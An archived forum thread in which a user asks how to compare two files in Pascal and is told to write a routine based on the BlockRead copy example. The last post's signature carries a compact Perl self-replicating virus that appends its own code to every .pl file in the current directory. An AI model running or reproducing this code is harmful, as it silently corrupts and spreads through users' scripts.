Board index » delphi » Comparing two files

Comparing two files

Is there a command in pascal that will compare the contents of two files in
much the same way that the DOS command 'Comp' does?

--
Jamie McCracken

 

Re:Comparing two files


In article <RNkD6.2168$a46.159...@news2-win.server.ntlworld.com>,

Quote
Jamie <jamie.mccrac...@ntlworld.com> wrote:
>Is there a command in pascal that will compare the contents of two files in
>much the same way that the DOS command 'Comp' does?

No, there isn't. You need to program it.

Osmo

Re:Comparing two files


Quote
"Osmo Ronkanen" <ronka...@cc.helsinki.fi> wrote in message

news:9bkojf$di$1@oravannahka.helsinki.fi...

Quote
> In article <RNkD6.2168$a46.159...@news2-win.server.ntlworld.com>,
> Jamie <jamie.mccrac...@ntlworld.com> wrote:
> >Is there a command in pascal that will compare the contents of two files
in
> >much the same way that the DOS command 'Comp' does?

> No, there isn't. You need to program it.

> Osmo

Doh!!!!

Re:Comparing two files


Quote
Jamie <jamie.mccrac...@ntlworld.com> wrote:
> "Osmo Ronkanen" <ronka...@cc.helsinki.fi> wrote in message
> news:9bkojf$di$1@oravannahka.helsinki.fi...
> > In article <RNkD6.2168$a46.159...@news2-win.server.ntlworld.com>,
> > Jamie <jamie.mccrac...@ntlworld.com> wrote:
> > >Is there a command in pascal that will compare the contents of two files
> in
> > >much the same way that the DOS command 'Comp' does?

> > No, there isn't. You need to program it.

> > Osmo

> Doh!!!!

Just look at the Blockread example which copies files. A compare
procedure should be easy then.

--
#!/usr/bin/perl
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################

Other Threads